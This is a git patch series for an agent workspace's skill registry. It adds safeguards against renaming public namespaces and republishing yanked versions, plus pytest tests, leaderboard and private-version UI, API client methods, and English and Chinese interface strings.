_WORKSPACE_MODULES = {"files", "browser", "tunnel", "todos", "timers", "routines", "knowledge"} diff --git a/workspace/backend/app/skill_registry.py b/workspace/backend/app/skill_registry.py index 3e6ad0dd2..f4dfb5787 100644 --- a/workspace/backend/app/skill_registry.py +++ b/workspace/backend/app/skill_registry.py @@ -199,24 +199,25 @@ def sync_builtin_registry(db: Session) -> None: select(SkillNamespace).where(SkillNamespace.slug.in_(desired_namespaces)) ).scalars().all() namespaces = {namespace.slug: namespace for namespace in existing_namespaces} + blocked_namespaces: set[str] = set() for ns_slug, metadata in desired_namespaces.items(): namespace = namespaces.get(ns_slug) if namespace is not None and ( namespace.type not in {"official", "external"} or namespace.owner_user_id is not None ): - # Repair data created before namespace reservation was enforced. - # Keep the user's works together under a stable suffixed slug, then - # create the reserved upstream namespace at its canonical slug. - suffix = str(namespace.owner_user_id or namespace.id)[:8] - candidate = slugify(f"{ns_slug}-{suffix}") - counter = 2 - while db.execute(select(SkillNamespace.id).where(SkillNamespace.slug == candidate)).first(): - candidate = slugify(f"{ns_slug}-{suffix}-{counter}") - counter += 1 - namespace.slug = candidate - db.flush() - namespace = None + # Namespace slugs are public URL identities. Never rename one as a + # side effect of process startup; that would silently break every + # published link. Leave the conflict for explicit admin repair and + # skip this upstream owner rather than publishing into a user space. + logger.warning( + "Skill registry bootstrap skipped reserved namespace '%s' because it is owned by %s", + ns_slug, + namespace.owner_user_id or namespace.id, + ) + blocked_namespaces.add(ns_slug) + namespaces.pop(ns_slug, None) + continue if namespace is None: namespace = SkillNamespace( slug=ns_slug, @@ -251,7 +252,10 @@ def sync_builtin_registry(db: Session) -> None: for entry in SKILL_CATALOG: repo = entry.get("source_repo") or "openagents/catalog" owner = repo.split("/", 1)[0] - namespace = namespaces[slugify(owner, "openagents")] + namespace_slug = slugify(owner, "openagents") + if namespace_slug in blocked_namespaces: + continue + namespace = namespaces[namespace_slug] skill_slug = slugify(entry["id"]) skill = skills.get((namespace.id, skill_slug)) if skill is None: @@ -272,8 +276,6 @@ def sync_builtin_registry(db: Session) -> None: skill.summary = entry.get("description") or "" skill.category = entry.get("category") or "other" skill.tags = entry.get("tags") or [] - skill.visibility = "public" - skill.status = "active" repo_lower = repo.lower() license_spdx = ( @@ -292,7 +294,6 @@ def sync_builtin_registry(db: Session) -> None: db.add(version) db.flush() versions[skill.id] = version - version.status = "published" version.source_mode = "upstream_pointer" version.source_repo = repo version.source_path = entry.get("source_path") @@ -304,7 +305,12 @@ def sync_builtin_registry(db: Session) -> None: } version.capabilities = {"scripts": "unknown", "source": "upstream"} version.scan_result = {"status": "not_mirrored"} - skill.latest_published_version_id = version.id + # Preserve explicit moderation. A yanked upstream version must not be + # republished merely because a worker restarted. + if version.status == "published": + skill.latest_published_version_id = version.id + elif skill.latest_published_version_id == version.id: + skill.latest_published_version_id = None db.flush() diff --git a/workspace/backend/tests/test_skill_registry.py b/workspace/backend/tests/test_skill_registry.py index 69de7d8f4..2a2346731 100644 --- a/workspace/backend/tests/test_skill_registry.py +++ b/workspace/backend/tests/test_skill_registry.py @@ -9,8 +9,15 @@ from sqlalchemy import func, select import app.access as access -from app.models import RegistrySkill, SkillNamespace, WorkspaceSkillVersion -from app.skill_registry import sync_builtin_registry +from app.models import ( + RegistrySkill, + RegistrySkillVersion, + SkillNamespace, + WorkspaceMembership, + WorkspaceMember, + WorkspaceSkillVersion, +) +from app.skill_registry import slugify, sync_builtin_registry VALID_SKILL = b"""--- @@ -22,23 +29,33 @@ """ +IDENTITY_CLAIMS = { + "publisher": { + "provider": "firebase", "email": "test@example.com", + "firebase_uid": "publisher-uid", "display_name": "Test Publisher", + }, + "anthropics-user": { + "provider": "firebase", "email": "anthropics@example.com", + "firebase_uid": "anthropics-user-uid", "display_name": "Anthropics", + }, + "target-user": { + "provider": "firebase", "email": "target@example.com", + "firebase_uid": "target-user-uid", "display_name": "Target User", + }, + "same-name-a": { + "provider": "firebase", "email": "same-a@example.com", + "firebase_uid": "same-name-a-uid", "display_name": "Same Name", + }, + "same-name-b": { + "provider": "firebase", "email": "same-b@example.com", + "firebase_uid": "same-name-b-uid", "display_name": "Same Name", + }, +} + + @pytest.fixture(autouse=True) def _identity_tokens(monkeypatch): - claims = { - "publisher": { - "provider": "firebase", "email": "test@example.com", - "firebase_uid": "publisher-uid", "display_name": "Test Publisher", - }, - "anthropics-user": { - "provider": "firebase", "email": "test@example.com", - "firebase_uid": "anthropics-user-uid", "display_name": "Anthropics", - }, - "target-user": { - "provider": "firebase", "email": "target@example.com", - "firebase_uid": "target-user-uid", "display_name": "Target User", - }, - } - monkeypatch.setattr(access, "verify_identity_claims", lambda token: claims.get(token)) + monkeypatch.setattr(access, "verify_identity_claims", lambda token: IDENTITY_CLAIMS.get(token)) def _headers(workspace, bearer=None): @@ -48,6 +65,18 @@ def _headers(workspace, bearer=None): return headers +def _add_workspace_member(db, workspace, bearer): + user = access.get_or_create_user(db, IDENTITY_CLAIMS[bearer]) + membership = db.execute(select(WorkspaceMembership).where( + WorkspaceMembership.workspace_id == workspace["id"], + WorkspaceMembership.user_id == user.id, + )).scalar_one_or_none() + if membership is None: + db.add(WorkspaceMembership(workspace_id=workspace["id"], user_id=user.id, role="member")) + db.commit() + return user + + def _zip_skill(): buffer = io.BytesIO() with zipfile.ZipFile(buffer, "w") as archive: @@ -241,6 +270,7 @@ def test_publication_requires_identity_and_explicit_license(client, workspace): def test_user_cannot_publish_into_reserved_builtin_namespace(client, workspace, db): sync_builtin_registry(db) db.commit() + _add_workspace_member(db, workspace, "anthropics-user") local = _upload_and_register(client, workspace) published = _publish(client, workspace, local, bearer="anthropics-user") @@ -256,6 +286,50 @@ def test_user_cannot_publish_into_reserved_builtin_namespace(client, workspace, assert builtin.owner_user_id is None +def test_same_display_name_uses_identity_suffix_and_retries_collision(client, workspace, db): + first_user = _add_workspace_member(db, workspace, "same-name-a") + second_user = _add_workspace_member(db, workspace, "same-name-b") + second_base = slugify(f"same-name-{str(second_user.id)[:8]}") + db.add(SkillNamespace( + slug=second_base, + type="user", + owner_user_id=first_user.id, + display_name="Occupied by another user", + )) + db.commit() + + local = _upload_and_register(client, workspace, slug="same-name-release-notes") + published = _publish(client, workspace, local, bearer="same-name-b") + + assert published["namespace"] == f"{second_base}-2" + namespace = db.execute(select(SkillNamespace).where( + SkillNamespace.slug == published["namespace"], + )).scalar_one() + assert namespace.owner_user_id == second_user.id + + +def test_catalog_sync_never_renames_a_conflicting_public_namespace(db): + user = access.get_or_create_user(db, IDENTITY_CLAIMS["same-name-a"]) + namespace = SkillNamespace( + slug="anthropics", + type="user", + owner_user_id=user.id, + display_name="Existing Publisher", + ) + db.add(namespace) + db.commit() + + sync_builtin_registry(db) + db.commit() + db.refresh(namespace) + + assert namespace.slug == "anthropics" + assert namespace.type == "user" + assert db.execute(select(func.count()).select_from(RegistrySkill).where( + RegistrySkill.namespace_id == namespace.id, + )).scalar_one() == 0 + + def test_registry_get_is_read_only_and_catalog_sync_updates_existing_rows(client, db): sync_builtin_registry(db) db.commit() @@ -271,11 +345,75 @@ def test_registry_get_is_read_only_and_catalog_sync_updates_existing_rows(client db.refresh(claude) assert claude.summary == "stale", "GET must not run catalog synchronization" + tag_search = client.get("/v1/registry/skills", params={"q": "caching"}) + assert tag_search.status_code == 200 + assert "claude-api" in {item["slug"] for item in tag_search.json()["data"]["skills"]} + sync_builtin_registry(db) db.commit() db.refresh(claude) assert claude.summary != "stale", "explicit startup sync should repair catalog drift" + version = db.get(RegistrySkillVersion, claude.latest_published_version_id) + claude.visibility = "unlisted" + claude.status = "removed" + version.status = "yanked" + db.commit() + + sync_builtin_registry(db) + db.commit() + db.refresh(claude) + db.refresh(version) + assert claude.visibility == "unlisted" + assert claude.status == "removed" + assert version.status == "yanked" + assert claude.latest_published_version_id is None + + +def test_public_version_defaults_to_next_sequence(client, workspace): + local = _upload_and_register(client, workspace) + first = _publish(client, workspace, local) + assert first["latestVersion"]["version"] == "1.0.0" + + second = client.post( + f"/v1/workspaces/{workspace['id']}/skills/{local['workspace_skill_id']}/publish", + json={"license_spdx": "MIT", "changelog": "Automatic second release"}, + headers=_headers(workspace, "publisher"), + ) + assert second.status_code == 200, second.text + assert second.json()["data"]["latestVersion"]["version"] == "2.0.0" + + +def test_builtin_uninstall_cleans_slug_and_registry_uuid_status(client, workspace, db): + sync_builtin_registry(db) + db.commit() + builtin = db.execute(select(RegistrySkill).where(RegistrySkill.slug == "claude-api")).scalar_one() + _join_agent(client, workspace) + member = db.execute(select(WorkspaceMember).where( + WorkspaceMember.workspace_id == workspace["id"], + WorkspaceMember.agent_name == "claude", + )).scalar_one() + member.enabled_skills = { + "installed": ["claude-api", builtin.id], + "skill_status": { + "claude-api": {"state": "installed", "updated_at": 1}, + builtin.id: {"state": "installed", "updated_at": 2}, + }, + } + db.commit() + + removed = client.post( + f"/v1/workspaces/{workspace['id']}/members/claude/skills/uninstall", + json={"skill_id": "claude-api"}, + headers=_headers(workspace), + ) + assert removed.status_code == 200, removed.text + db.refresh(member) + assert "claude-api" not in member.enabled_skills["installed"] + assert builtin.id not in member.enabled_skills["installed"] + assert "claude-api" not in member.enabled_skills["skill_status"] + assert builtin.id not in member.enabled_skills["skill_status"] + def test_new_private_version_is_the_one_sent_to_launcher(client, workspace, db): local = _upload_and_register(client, workspace, slug="release_notes_helper") diff --git a/workspace/frontend/components/skills/skills-view.tsx b/workspace/frontend/components/skills/skills-view.tsx index 21022a456..0b54ba8cc 100644 --- a/workspace/frontend/components/skills/skills-view.tsx +++ b/workspace/frontend/components/skills/skills-view.tsx @@ -22,6 +22,7 @@ import { } from '@/components/ui/responsive-dialog'; import { toast } from 'sonner'; import { useT, type MessageKey, type TranslateFn } from '@/lib/i18n'; +import { useOpenAgentsAuth } from '@/lib/openagents-auth-context'; // --------------------------------------------------------------------------- // Skill data @@ -29,6 +30,9 @@ import { useT, type MessageKey, type TranslateFn } from '@/lib/i18n'; interface Skill { id: string; + /** Stable id sent to install/status APIs. Upstream catalog skills keep their + * historical slug while Registry-native skills use their UUID. */ + installId?: string; name: string; /** * Only custom (uploaded) skills carry their description inline — it's user @@ -91,17 +95,20 @@ function customSkillToSkill(c: WorkspaceCustomSkill): Skill { function registrySkillToSkill(skill: RegistrySkill, featured = false): Skill { const latest = skill.latestVersion || undefined; + const builtin = latest?.sourceMode === 'upstream_pointer' ? findBuiltinSkill(skill.slug) : undefined; return { id: skill.id, + installId: builtin?.id || (latest?.sourceMode === 'upstream_pointer' ? skill.slug : skill.id), name: skill.name, description: skill.summary || skill.description || '', category: skill.category || 'custom', - tags: skill.tags || [], + tags: skill.tags?.length ? skill.tags : (builtin?.tags || []), + logo: builtin?.logo, author: skill.namespaceName || skill.namespace, - featured, + featured: builtin?.featured ?? featured, sourceType: 'registry', - sourceRepo: latest?.sourceRepo || undefined, - sourcePath: latest?.sourcePath || undefined, + sourceRepo: latest?.sourceRepo || builtin?.sourceRepo, + sourcePath: latest?.sourcePath || builtin?.sourcePath, packageType: latest?.packageType, registrySkillId: skill.id, slug: skill.slug, @@ -219,6 +226,10 @@ const SKILLS: Skill[] = [ { id: 'sn-md-to-html-report', name: 'SenseNova HTML Report', category: 'sensenova', logo: 'https://avatars.githubusercontent.com/u/215225587', tags: ['markdown', 'html', 'report'], sourceRepo: 'OpenSenseNova/SenseNova-Skills', sourcePath: 'skills/sn-md-to-html-report', author: 'SenseNova' }, ]; +function findBuiltinSkill(id: string): Skill | undefined { + return SKILLS.find(skill => skill.id === id); +} + // --------------------------------------------------------------------------- // Categories // --------------------------------------------------------------------------- @@ -351,13 +362,14 @@ function SkillDetail({ ? `https://github.com/${skill.sourceRepo}/tree/main/${skill.sourcePath}` : ''; const { agents, refreshWorkspace } = useWorkspace(); + const { user: identityUser, isOpenAgentsDomain } = useOpenAgentsAuth(); const t = useT(); const [installing, setInstalling] = useState(null); const [acting, setActing] = useState(false); const [registryDetail, setRegistryDetail] = useState(null); const [showPublishForm, setShowPublishForm] = useState(false); const [publishLicense, setPublishLicense] = useState(''); - const [publishVersion, setPublishVersion] = useState('1.0.0'); + const [publishVersion, setPublishVersion] = useState(''); const [publishChangelog, setPublishChangelog] = useState(''); useEffect(() => { @@ -375,7 +387,7 @@ function SkillDetail({ const handleInstall = useCallback(async (agentName: string) => { setInstalling(agentName); try { - await workspaceApi.installSkill(agentName, skill.id, skill.versionId); + await workspaceApi.installSkill(agentName, skill.installId || skill.id, skill.versionId); // The request only queues the install; the launcher installs the skill // and reports back. Server `skill_status` (installing → installed/failed) // drives the badge from here, picked up by discovery polling. @@ -394,7 +406,7 @@ function SkillDetail({ const handleUninstall = useCallback(async (agentName: string) => { setInstalling(agentName); try { - await workspaceApi.uninstallSkill(agentName, skill.id); + await workspaceApi.uninstallSkill(agentName, skill.installId || skill.id); await refreshWorkspace(); toast.success(t('skills.removed', { skill: skill.name, agent: agentName })); } catch { @@ -414,7 +426,14 @@ function SkillDetail({ const agent = agents.find(a => a.agentName === agentName); const skills = (agent?.enabledSkills as Record) || {}; const statusMap = (skills.skill_status as Record) || {}; - const entry = statusMap[skill.id]; + // Registry UUIDs were briefly used for upstream catalog state. Read both + // keys so users on that build can still see and remove their installation; + // all new upstream actions use the historical catalog slug. + const stateKeys = Array.from(new Set([skill.installId || skill.id, skill.id])); + const entry = stateKeys + .map(key => statusMap[key]) + .filter((candidate): candidate is { state?: string; updated_at?: number } => Boolean(candidate)) + .sort((a, b) => (b.updated_at || 0) - (a.updated_at || 0))[0]; if (entry?.state === 'installing') { if (entry.updated_at && Date.now() - entry.updated_at > STALE_INSTALL_MS) { return 'failed'; @@ -425,7 +444,7 @@ function SkillDetail({ return entry.state; } const installed = (skills.installed as string[]) || []; - return installed.includes(skill.id) ? 'installed' : null; + return stateKeys.some(key => installed.includes(key)) ? 'installed' : null; }; const onlineAgents = agents.filter(a => { @@ -656,7 +675,12 @@ function SkillDetail({ - setPublishVersion(event.target.value)} className="mt-1 h-9" /> + setPublishVersion(event.target.value)} + placeholder={t('skills.publishVersionPlaceholder')} + className="mt-1 h-9" + />
+ ))} + + + )} + + {/* Private version timeline. The public history above only exists + after publishing; this one is what an author iterates on. */} + {isCustom && privateVersions.length > 0 && ( +
+
+ {t('skills.privateVersionHistory')} +
+
+ {privateVersions.map((version, index) => ( +
+
+
+
+ v{version.version} + {index === 0 && {t('skills.latest')}} +
+ {version.changelog &&

{version.changelog}

} +
+ {version.createdAt && ( + + {new Date(version.createdAt).toLocaleDateString()} + + )}
))}
)} + {isCustom && workspaceSkillId && ( +
+
+ {t('skills.newVersionTitle')} +
+

{t('skills.newVersionHint')}

+ setNewVersionFile(event.target.files?.[0] || null)} + className="block w-full text-xs file:mr-3 file:rounded-md file:border file:border-input file:bg-background file:px-3 file:py-1.5 file:text-xs" + /> + setNewVersionChangelog(event.target.value)} + placeholder={t('skills.publishChangelogPlaceholder')} + className="h-9" + /> + +
+ )} + {isCustom && showPublishForm && (
@@ -766,6 +1016,20 @@ function SkillDetail({ : showPublishForm ? t('skills.publishConfirm') : t('skills.publishPublic')} )} + {/* Publication state is managed from whichever copy the author can + still reach: the public listing while it is public, and their own + private skill once it has been unlisted. */} + {((isRegistry && publishedByMe) || (isCustom && skill.registrySkillId)) && ( + + )} {isRegistry && skill.sourceMode === 'mirrored' && (
) : (
+ {activeCategory === 'all' && !search && ( + + )} + {/* Featured — only when showing all */} {activeCategory === 'all' && !search && (
@@ -999,6 +1267,7 @@ export function SkillsView() { onClose={() => setSelectedSkill(null)} onRegistryChanged={reloadRegistrySkills} onCustomChanged={reloadCustomSkills} + publishedByMe={customSkills.some(s => s.registrySkillId === selectedSkill.id)} /> )} diff --git a/workspace/frontend/lib/api.ts b/workspace/frontend/lib/api.ts index 1320118de..e43c98062 100644 --- a/workspace/frontend/lib/api.ts +++ b/workspace/frontend/lib/api.ts @@ -23,6 +23,8 @@ import type { WorkspaceAgent, WorkspaceCollaborator, WorkspaceCustomSkill, + WorkspaceSkillVersion, + RegistryLeaderboardEntry, RegistrySkill, WorkspaceFile, WorkspaceInvitation, @@ -54,6 +56,7 @@ function mapCustomSkill(raw: Record): WorkspaceCustomSkill { registrySkillId: (raw.registry_skill_id || raw.registrySkillId) as string | undefined, forkedFromVersionId: (raw.forked_from_version_id || raw.forkedFromVersionId) as string | undefined, unavailable: Boolean(raw.unavailable), + publicVisibility: (raw.public_visibility || raw.publicVisibility) as 'public' | 'unlisted' | undefined, }; } @@ -297,6 +300,69 @@ class WorkspaceApi { }); } + /** Rolling install+fork ranking. Public, like the rest of registry reads. */ + async getRegistryLeaderboard( + board: 'community' | 'official', + window: 7 | 30, + ): Promise { + const params = new URLSearchParams({ board, window: String(window), limit: '10' }); + const raw = await this.request<{ entries: RegistryLeaderboardEntry[] }>( + `/v1/registry/leaderboard?${params}`, + ); + return raw.entries || []; + } + + /** A private skill's version timeline, newest first. */ + async getCustomSkillVersions(workspaceSkillId: string): Promise { + const raw = await this.request<{ versions: Record[] }>( + `/v1/workspaces/${this.requireWorkspace()}/skills/custom/${workspaceSkillId}/versions`, + ); + return (raw.versions || []).map(v => ({ + versionId: v.version_id as string, + version: v.version as string, + versionSeq: v.version_seq as number, + packageType: v.package_type as 'md' | 'zip', + changelog: (v.changelog as string) || '', + fileId: v.file_id as string, + createdBy: v.created_by as string | undefined, + createdAt: v.created_at as string | undefined, + })); + } + + /** Upload a file and pin it as the skill's next immutable private version. */ + async createCustomSkillVersion( + workspaceSkillId: string, + file: File, + changelog: string, + ): Promise { + const uploaded = await this.uploadFile(file); + const raw = await this.request>( + `/v1/workspaces/${this.requireWorkspace()}/skills/custom/${workspaceSkillId}/versions`, + { method: 'POST', body: JSON.stringify({ file_id: uploaded.id, changelog }) }, + ); + return { + versionId: raw.version_id as string, + version: raw.version as string, + versionSeq: 0, + packageType: 'md', + changelog: (raw.changelog as string) || '', + fileId: uploaded.id, + }; + } + + /** Take a published skill off the registry, or list it again. */ + async setRegistrySkillVisibility(skillId: string, visibility: 'public' | 'unlisted'): Promise { + return this.request(`/v1/registry/skills/${skillId}/visibility`, { + method: 'POST', + body: JSON.stringify({ visibility }), + }); + } + + /** Withdraw one published version; it stays visible in the public history. */ + async yankRegistryVersion(skillId: string, versionId: string): Promise { + return this.request(`/v1/registry/skills/${skillId}/versions/${versionId}/yank`, { method: 'POST' }); + } + /** Search public skills. The endpoint is intentionally usable without login. */ async getRegistrySkills(query = '', category?: string): Promise { const params = new URLSearchParams(); diff --git a/workspace/frontend/lib/i18n/messages/en-US.ts b/workspace/frontend/lib/i18n/messages/en-US.ts index 6a13f3fc4..260af87de 100644 --- a/workspace/frontend/lib/i18n/messages/en-US.ts +++ b/workspace/frontend/lib/i18n/messages/en-US.ts @@ -1026,6 +1026,24 @@ export const messages = { publishUnavailableSelfHosted: 'Public publishing unavailable', forkToWorkspace: 'Fork to workspace', forkSuccess: '{skill} was forked to this workspace', + leaderboard: 'Leaderboard', + boardCommunity: 'Community', + boardOfficial: 'Official', + window7: '7 days', + window30: '30 days', + leaderboardEmpty: 'No installs or forks in this window yet.', + leaderboardStats: '{installs} installs · {forks} forks', + privateVersionHistory: 'Private version history', + newVersionTitle: 'New private version', + newVersionHint: 'Upload a replacement package. Earlier versions stay immutable, and installs always use the newest one.', + newVersionSubmit: 'Create version', + newVersionSuccess: 'Version {version} created', + unlistPublic: 'Remove from registry', + relistPublic: 'List publicly again', + unlistSuccess: '{skill} was removed from the public registry', + relistSuccess: '{skill} is public again', + yankVersion: 'Withdraw', + yankSuccess: 'Version {version} was withdrawn', backingFileUnavailable: 'The original file is unavailable. Re-upload this skill before installing or publishing it.', uploadTitle: 'Upload custom skill', diff --git a/workspace/frontend/lib/i18n/messages/zh-CN.ts b/workspace/frontend/lib/i18n/messages/zh-CN.ts index 2fc2bfbde..01bbd2b75 100644 --- a/workspace/frontend/lib/i18n/messages/zh-CN.ts +++ b/workspace/frontend/lib/i18n/messages/zh-CN.ts @@ -999,6 +999,24 @@ export const messages: Messages = { publishUnavailableSelfHosted: '当前实例不支持公开发布', forkToWorkspace: '二创到工作区', forkSuccess: '{skill} 已二创到当前工作区', + leaderboard: '排行榜', + boardCommunity: '社区', + boardOfficial: '官方', + window7: '近 7 天', + window30: '近 30 天', + leaderboardEmpty: '该时间窗口内还没有安装或二创记录。', + leaderboardStats: '{installs} 安装 · {forks} 二创', + privateVersionHistory: '私有版本历史', + newVersionTitle: '发布新的私有版本', + newVersionHint: '上传替换包。历史版本保持不可变,安装时始终使用最新版本。', + newVersionSubmit: '创建版本', + newVersionSuccess: '版本 {version} 已创建', + unlistPublic: '取消公开', + relistPublic: '重新公开', + unlistSuccess: '{skill} 已从公开技能库下架', + relistSuccess: '{skill} 已重新公开', + yankVersion: '撤回', + yankSuccess: '版本 {version} 已撤回', backingFileUnavailable: '原始文件已不可用,请重新上传后再安装或发布。', uploadTitle: '上传自定义技能', diff --git a/workspace/frontend/lib/types.ts b/workspace/frontend/lib/types.ts index a1e893f8e..9e2643cac 100644 --- a/workspace/frontend/lib/types.ts +++ b/workspace/frontend/lib/types.ts @@ -82,6 +82,28 @@ export interface WorkspaceCustomSkill { registrySkillId?: string; forkedFromVersionId?: string; unavailable?: boolean; + /** Public listing state of this skill's registry counterpart, if published. */ + publicVisibility?: 'public' | 'unlisted'; +} + +/** A ranked row on a rolling leaderboard — a public skill plus its window score. */ +export interface RegistryLeaderboardEntry extends RegistrySkill { + rank: number; + windowInstalls: number; + windowForks: number; + score: number; +} + +/** One immutable version of a workspace-private skill. */ +export interface WorkspaceSkillVersion { + versionId: string; + version: string; + versionSeq: number; + packageType: 'md' | 'zip'; + changelog: string; + fileId: string; + createdBy?: string; + createdAt?: string; } export interface RegistrySkillVersion { @@ -112,7 +134,7 @@ export interface RegistrySkill { description: string; category: string; tags: string[]; - visibility: 'public'; + visibility: 'public' | 'unlisted'; status: 'active'; forkedFromVersionId?: string | null; installCount: number; From 61b705629599a75ec1909b8b9cbe8e99055c523b Mon Sep 17 00:00:00 2001 From: QuanCheng <915158214@qq.com> Date: Sat, 8 Aug 2026 05:54:58 +0000 Subject: [PATCH 5/5] fix keep the leaderboard board switcher reachable MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Visibility was decided from the selected board alone, and the board tabs live inside the panel. With the community board empty — the normal state of a fresh or self-hosted deployment — the whole panel disappeared, taking the only route to the official board with it. Probe both boards once on mount instead: hide the panel only when neither has data, and open on whichever board does. A missing endpoint (older backend, or migration 031 not yet applied) still hides it silently. --- .../components/skills/skills-view.tsx | 26 ++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/workspace/frontend/components/skills/skills-view.tsx b/workspace/frontend/components/skills/skills-view.tsx index cf53820cf..faab26cd9 100644 --- a/workspace/frontend/components/skills/skills-view.tsx +++ b/workspace/frontend/components/skills/skills-view.tsx @@ -359,6 +359,26 @@ function LeaderboardPanel({ onSelect }: { onSelect: (skill: Skill) => void }) { const [board, setBoard] = useState<(typeof LEADERBOARD_BOARDS)[number]>('community'); const [window_, setWindow] = useState<(typeof LEADERBOARD_WINDOWS)[number]>(7); const [entries, setEntries] = useState(null); + const [available, setAvailable] = useState(null); + + // Probe both boards once. Deciding visibility from the selected board alone + // would hide the board switcher along with the panel, leaving no way to + // reach a board that does have data. + useEffect(() => { + let cancelled = false; + Promise.all(LEADERBOARD_BOARDS.map(item => + workspaceApi.getRegistryLeaderboard(item, 30).then(list => list.length).catch(() => null), + )).then(counts => { + if (cancelled) return; + // A null everywhere means the endpoint is missing — an older backend, or + // migration 031 not applied yet. Stay out of the way in that case. + if (counts.every(count => count === null)) { setAvailable(false); return; } + setAvailable(counts.some(count => (count || 0) > 0)); + const firstWithData = LEADERBOARD_BOARDS[counts.findIndex(count => (count || 0) > 0)]; + if (firstWithData) setBoard(firstWithData); + }); + return () => { cancelled = true; }; + }, []); useEffect(() => { let cancelled = false; @@ -368,9 +388,9 @@ function LeaderboardPanel({ onSelect }: { onSelect: (skill: Skill) => void }) { return () => { cancelled = true; }; }, [board, window_]); - // Hide the whole panel until a board has something in it — an empty podium - // reads as a broken feature rather than a young marketplace. - if (entries !== null && entries.length === 0 && board === 'community') return null; + // Nothing anywhere yet: an empty podium reads as a broken feature rather + // than a young marketplace. + if (available !== true) return null; return (